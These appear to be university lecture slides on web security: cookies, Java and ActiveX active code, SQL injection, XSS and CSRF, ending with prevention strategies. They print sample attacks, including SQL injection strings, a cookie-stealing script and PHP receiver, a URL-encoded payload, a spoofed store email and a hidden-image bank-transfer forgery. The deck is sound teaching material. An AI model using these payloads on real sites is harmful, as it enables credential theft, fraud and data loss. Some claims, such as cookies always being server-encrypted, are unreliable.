Web Security

Dr. Natarajan Meghanathan
Associate Professor of Computer Science
Jackson State University
E-mail: natarajan.meghanathan@jsums.edu

Cookie

- A cookie is a data object that can be held in memory (a per-session cookie) or stored in disk for future access (persistent cookie) with an expiration date
- Cookies can store anything about a client that the browser can determine: keystrokes the user types, the machine name, IP address, user password, date and time last accessed, user's preferred color choice and so forth.
- The information stored in the cookie is encrypted by the server using a key known only to the server. Only the encrypted cookie is stored at the client.
- Cookies also contain attributes that tell the browser what servers to send them to. The "domain" name attribute tells the browser which host names the cookie should be returned to, and the "path" attribute indicates what URL paths within that domain are valid.
    - Example: A domain of "natcorp.com" and a path of "/users" tells the browser to return the cookie to hosts with names like ftp.natcorp.com and www.natcorp.com and to do so only when requesting URLs start with the path "/users".
    - This is an important security measure that prevents the cookie's domain from being set to top-level domains like ".com" and sent to any ".com" server.
- Security Issue: Using a DNS attack, an attacker armed with a packet sniffer could temporarily subvert the DNS server and trick a browser into sending a cookie to a rogue server.

Active Code

- Executable code downloaded from the server and allowed to run at the client side for being displayed at the browser.
  - Motivation: Use the client side processor capabilities instead of having all the code to be executed at the server side.
- Two main kinds of active code are: Java applet code and ActiveX controls
- <u>Java sandbox model:</u>
  - A Java program when compiled generates a bytecode that is machine independent.
  - The bytecode will be executed on a Java Virtual Machine (an interpreter program) that needs to be implemented on each class of machine to achieve program portability.
  - The JVM interpreter contains a built-in security manager called the “sandbox”, which enforces strict security policies.
    - Every code fragment of the bytecode is verified to make sure there is no forging of references, violation of access restrictions, or objects being accessed with incorrect type information.
    - It is made sure that important parts of the Java run-time environment are not replaced by the code that an applet tries to install.
    - The applet’s access to sensitive system resources, such as the file system, the processor, the network, the user’s display and internal state variables are controlled.

Active Code

- The Java sandbox security model restricts what an applet can do and makes sure it plays by the rules.
  - The model allows a user to run untrusted code on his/her machine without worrying about it as long as the Java sandbox has no security holes.

- <u>ActiveX Controls</u>
- Microsoft’s answer to Java technology is the ActiveX series.
- Using ActiveX controls objects of arbitrary type can be downloaded to a client.
- If the client has a viewer or handler for the object’s type, that viewer is invoked to present the object.
  - Example: Downloading a Microsoft Word .doc file would invoke Microsoft Word on a system on which it is installed.
- If the client does not have the viewer or handler for the object’s type, the client is required to download the viewer/handler along with the object.
  - An attacker could invent a type, called .bomb, and cause any unsuspecting user who downloaded a web page with a .bomb file also to download the code that would execute .bomb
- ActiveX: Authentication through code-signing
  - To prevent arbitrary downloads, Microsoft uses an authentication scheme under which the downloaded code is cryptographically signed and the signature is verified before execution.
  - But the authentication verifies only the source of the code, not its correctness or safety.

SQL Injection Attacks

- SQL injection attack is a code injection technique that exploits the security vulnerabilities in a database application.
- The security vulnerabilities can occur if user input is not filtered for escape characters and/ or if user input is not strongly typed.
- More generally, the vulnerabilities can occur whenever one programming or scripting language is embedded insider another.
- SQL injection attacks are easy to perform as well as easy to avoid.

Statement = “SELECT * FROM ‘CustomerDB’ WHERE ‘name’ = ‘ ”+ userName + “ ‘ AND ‘password’ = ‘ ” + passwd + “ ‘ ; ”

- If the above SQL query was properly executed by passing name to be *natjsu* and password to be *jsunat*, as stored in the database, the SQL statement would become and get executed properly.

Statement = “SELECT * FROM ‘CustomerDB’ WHERE ‘name’ = ‘natjsu‘ AND ‘password’ = ‘jsunat’; ”

SQL Injection Attacks

- One need not know the username nor the password to launch the SQL injection attack. The value passed for name could be *’OR ‘1’=‘1* and the value passed for password could be *’OR ‘1’=‘1*

Statement = “SELECT * FROM ‘CustomerDB’ WHERE ‘name’ = ‘ ”+ userName + “ ‘ AND ‘password’ = ‘ ” + passwd + “ ‘ ; ”

$$\Downarrow$$

Statement = “SELECT * FROM ‘CustomerDB’ WHERE ‘name’ = ‘ ’ OR ‘1’=‘1‘ AND ‘password’ = ‘ ’ OR ‘1’=‘1’; ”

$$\Downarrow$$

- All the records from the Customer Database would be listed.

SQL Injection Attacks

- <u>Another variation using the "--" comment operator</u>:
- One could append the comment "--" operator along with the String for the username and totally avoid executing the password segment of the SQL query. Everything after the -- operator would be considered as comment and not executed.
- To launch such an attack, the value passed for name could be *'OR '1'='1' ; --*

Statement = "SELECT * FROM 'CustomerDB' WHERE 'name' = ' "+ userName + " ' AND 'password' = ' " + passwd + " ' ; "

$\Downarrow$

Statement = "SELECT * FROM 'CustomerDB' WHERE 'name' = ' ' OR '1'='1';-- + " ' AND 'password' = ' " + passwd + " ' ; "

$\Downarrow$

- All the records from the Customer Database would be listed.

SQL Injection Attacks

- Yet, another variation of the SQL Injection Attack can be conducted in DBMS systems that allow multiple SQL statements. Here, we can also make use of the vulnerability in certain DBMS wherein a user supplied field is not strongly typed or is not checked for type constraints.
- This could take place when a numeric field is to be used in a SQL statement; but, the programmer makes no checks to validate that the user supplied input is numeric.
- In the example below if the user passed the string input *1; DROP TABLE 'Users'* as the value for the variable userID, which is supposed to take only Integer input for proper execution, the Users table could be deleted from the DBMS.

Statement = "SELECT * FROM 'CustomerDB' WHERE 'id' = " + userID +";"

$$\Downarrow$$

Statement = "SELECT * FROM 'CustomerDB' WHERE 'id' = 1; DROP TABLE 'Users' ;

Cross Site Scripting (XSS) Attacks

- Cross Site Scripting (XSS) attacks are a type of code-injection attack (similar to SQL injection attacks) aimed at exploiting vulnerabilities in web sites.
- Any web site which displays dynamic content based on user input is potentially vulnerable to an XSS attack.
- For example, if a user entered his username, the website may greet the user with a welcome message featuring the username entered. This could be exploited by an attacker by entering a Javascript - the script could be executed while the client and/or server are processing the input field values.
- There are two varieties of XSS attacks: Persistent; Non-persistent
- Persistent XSS attacks occur when attack code is saved by the server and displayed repeatedly.
  - An example of this would be the insertion of offensive code into a web forum, which will save the code and display it to everyone who visits the forum.

Persistent XSS Attack Scenario

- Gerald, an attacker, maintains a database of password cookies he has stolen from users of Harriet’s website.
- His database is named “password_database” and consists of one table, called “password_table”.
- The “password_table” table has a single attribute, “cookie”.
- Gerald sets up his personal website with a page called steal.php which will use the get method to take a value (the victim’s cookie) from the URL and insert it into the database.
- Gerald then logs into Harriet’s website and posts a comment on the message board:

```
<script type=“text/javascript”>
document.location=“http://www.geraldssite.com/steal.php&password=“
+ document.cookie;
</script>
```

Steal.php

```
<html>
<?php
$user_cookie = $_GET["password"];

$host = "localhost";
$user = "root";
$pass = "";
$dbname = "password_database";
$connection = mysql_connect($host, $user, $pass);

$query = "insert into password_table (cookie) values '$user_cookie'";
$result = mysql_query($query);

?>

<script type="text/javascript">
document.location = http://www.harrietssite.com/forum";
</script>
</html>
```

Persistent XSS Attack Example

- Now, anyone who logs into Harriet’s website and views her forum will
  - be redirected to Gerald’s site with their password cookie as a URL parameter,
  - have their cookie stored in Gerald’s database, and
  - be redirected back to Harriet’s website, possibly even quickly enough that they don’t notice
- In this way, Gerald is able to steal the login information of anyone who visits Harriet’s site.
- If Harriet’s site is an ecommerce site which stores user’s payment information, Gerald will be able to access this information for anyone who has viewed the forum.

Non-Persistent XSS Attacks

- Non-persistent attacks are attacks that occur only once. These usually consist of an attacker entering the offensive code into a web form that is then displayed.
- An example of this would be if an attacker sent an email containing a contaminated URL that looked like one the user was familiar with. This URL will take the user to the proper site, but when it arrives it will execute the attacker's code and can be used to steal the user's information.

- <u>Example for Non-Persistent XSS Attack</u>
- Margret runs an e-commerce site much like the site Harriet runs. Margret's site, however, does not have a forum; she instead maintains a mailing list of her site's users and sends out emails about sales on merchandise at her site.
- When a user clicks on the link in Margret's email, he will be directed to Margret's website, which will display the name of the collection from the URL (Winter, in this case) at the top of the page and list all the items in that collection.

Example for Non-Persistent XSS Attack

A typical email from Margret looks like:

From: Margret, margret@margretsonlinestore.com
Subject: Holiday Sales

Happy Holidays Everyone!

I would like to remind you that we are having a sale on winter coats this December!

Click the link below to view our tremendous selection:
http://www.margretsonlinestore.com/search.php?collection=Winter

Thanks!
Margret

Example for Non-Persistent XSS Attack

- Gerald, the attacker, is also a regular user of Margret’s site and is aware of the frequent emails regarding current sales.
- He decides to use his steal.php page to steal the login information from users of Margret’s site also, giving him access to their billing information.
- Gerald registers an email address that looks like Margret’s, margret@margretsonlinestore.net
- He then crafts an email which he will send to registered users of Margret’s site (he gets their email addresses from the To: portion of emails he receives from Margret).
- Now, when someone on Margret’s mailing list receives the email from Gerald (posing as Margret), he might click on it, thinking it is actually from Margret.
- When he does, he will be taken to Margret’s website, where Gerald’s malicious script in the URL will be read and displayed (executed, actually) on Margret’s page.
- This redirects the user to Gerald’s cookie-stealing page where the user’s cookie is saved in Gerald’s database, and the user is then redirected back to Margret’s webpage.

Example for Non-Persistent XSS Attack

Gerald’s email looks exactly like an authentic email from Margret, except for the email address and URL:

From: Margret, margret@margretsonlinestore.net
Subject: New Year’s Sales

Happy Holidays Everyone!

I would like to remind you that we are having a sale on New Year’s items starting December 15th!

Click the link below to view our tremendous selection:
http://www.margretsonlinestore.com/search.php?collection= <script type=“text/javascript”>
document.location=http://www.geraldssite.com/steal.php& + document.cookie;
</script>

Thanks!
Margret

Example for Non-Persistent XSS Attack

- By looking at the URL in the email from Gerald (posing as Margret), it might be obvious that something is not right.
- Gerald decides to instead encode his malicious script in URL encoding so that the characters are not immediately obvious.

Instead of having the text:

```
collection= <script type="text/javascript">
document.location=http://www.geraldssite.com/steal.php& + document.cookie;
</script>
```

Gerald can instead place the URL-encoded values for each character in the URL so that it will look something like:

```
collection=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6
E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3
A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65%78
%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
```

Now, it is not immediately obvious that the URL contains a malicious script.

XSS Attacks – Concluding Remarks

- We have seen examples of both persistent and non-persistent attacks for accomplishing the same task.
- Both attacks redirect a user away from a legitimate website, store the user’s login cookie in an attacker’s database, and redirect the user back to the original website.
- The difference in these two attacks is that in the first example, the XSS attack was persistent. It was stored on Harriet’s forum where it would affect anyone who viewed that page.
- In the second example, the XSS attack was non-persistent. It was not stored anywhere and only users who clicked on the attacker’s malicious link were affected.
- Persistent attacks are difficult to detect and pose a more serious risk, since they affect every user of a site.
- Non-persistent attacks generally pose a less serious risk, since they rely on individual users to initiate them, but they are much more common.

Cross-Site Request Forgery (XSRF) Attack

- Cross-Site Request Forgery (XSRF) is a type of attack which exploits a web site’s trust in the user.
- XSRF attacks are effective when a website wrongly trusts that an authenticated user is making requests at the site.
- An XSRF attack can occur when:
  - a computer user logs into a particular website that allows a user to manage some information,
  - the user’s login information is stored in the browser through the use of cookies,
  - the user activates a malicious link to a legitimate site,
  - and the legitimate site processes the malicious link as though it were an authorized request by the user

- Cross-site request forgery attacks are difficult to avoid, from a user’s perspective, because any site the user visits may be susceptible to XSRF attacks, unless the site was specifically designed to thwart such attacks.

XSRF Attack Example

- Courtney, an attacker, has an account at the Fifth National Bank of Tulsa. She discovers that when she logs into the bank's website, **www.fifthnboftulsa.com** to transfer money between her checking and savings accounts, the site processes the request via the following url:
  - **www.fifthnboftulsa.com/transfer.php?to=1000002?amount=50**
- The URL

  www.fifthnboftulsa.com/transfer.php? to=1000002?amount=50

  indicates that she wishes to transfer $50.00 from the account she is currently logged into to account number 1000002 (her personal savings account).
- She decides that she would like to use this vulnerability to transfer money to her account from other people's accounts.
- To do this, she sends out a mass email, with the subject "Check out these cute pictures of my new puppy!" hoping that people will open the email.

XSRF Attack Example

- Also included in the body of the email, is the html tag:

  <img src= “www.fifthnboftulsa.com/transfer.php?to=1000002?amount=1000” height=“0” width=“0” border=“0”>

- This image (which is not really an image) will not show up in the body of the email, since it’s size is zero, but when the email is loaded, a user’s browser will attempt to load the picture from www.fifthnboftulsa.com/..., which will activate the bank’s transfer function.
- Now, anyone who opens Courtney’s email, will have $1000.00 transferred from his or her account to Courtney’s savings account if the following conditions are met:
  - the user has an account with Fifth National Bank of Tulsa, and
  - the user’s login information for the bank website is stored in the browser with a cookie

XSRF Attack Example

- Courtney makes some money with this scheme, but not as much as she would like. She seemed to have over-estimated the general public's eagerness to look at cute pictures of a stranger's puppy, and most of the people she emailed probably don't even have accounts with the bank.
- She decides that a more effective method to achieve her goal would be to move her malicious image tag directly to the bank's website by incorporating aspects of a cross-site scripting (XSS) attack.
- By moving her attack directly to the bank's website, she accomplishes several things:
  - she can be reasonably sure that anyone using the bank's website has an account with the bank and will be logged into his/her account,
  - she doesn't have to send out a massive amount of emails, and
  - she can ensure that anyone viewing a particular part of the bank's website will be targeted.

XSRF Attack Example

- To accomplish her new goal, Courtney logs into the bank’s website, and views the bank’s discussion board for technical support with the website.
- She then posts a message on the message board which includes her malicious image tag:

  <img src= “www.fifthnboftulsa.com/transfer.php?to=1000002?amount=1000” height=“0” width=“0” border=“0”>

- Now, anyone that logs into the bank’s website and views the tech. support discussion board will have Courtney’s link automatically executed by his or her browser.
- This occurs because the browser mistakenly believes that the <img> tag contains an actual image, and the users of the discussion board trust that the discussion board does not contain malicious code (this is an XSS attack).

XSRF Attack Example

- When Courtney’s link is executed by the browser, the current user will unknowingly have money transferred from his account to Courtney’s savings account.
- This works because the current user is already logged into the bank’s website, so his login information is currently stored in the browser, and the bank’s website trusts that any request from the user’s login is actually a valid request from that user (this is an XSRF attack).
- The bank eventually learns about Courtney’s scheme because customers eventually notice their money is gone and complain, but not before Courtney has fled the country with her new fortune.

Prevention Strategies for XSRF Attacks

- In an effort to prevent such attacks in the future, the bank redesigns their web service so that:
  - pages which perform banking functions only accept values from forms via the POST method (instead of the GET method which retrieves values from the URL),
  - each form contains a special hidden value that must be authenticated to determine that the information received came from a valid form on the bank's website (in our example, the transfer.php page should validate that the request to transfer funds came from authentic forms and obviously the discussion forum should not be one of those forms from which a fund transfer should be allowed), and
  - before any transaction occurs, the user must click a "Click here to confirm this transaction" link and enter a random series of characters (using CAPTCHA).

Protection against XSRF Attack

- As a user, ways to protect yourself include:
  - Logging out of sites when you are done with them
  - Disabling images in emails
  - Not opening spam emails
- As a developer, there are several ways to protect your site against XSRF attacks:
  - using hidden form identifier values that are checked when a form is submitted
  - using multiple cookies to authenticate users
  - checking that any request made is acknowledged and verified by the user
- Cross-site request forgery attacks are similar to and can be used in conjunction with cross-site scripting attacks, but the **difference** is that:
  - Cross-site scripting attacks rely on a user's trust that a website is displaying information accurately
  - Cross-site request forgery attacks rely on a site's trust that an authenticated user is actually making the requests that it receives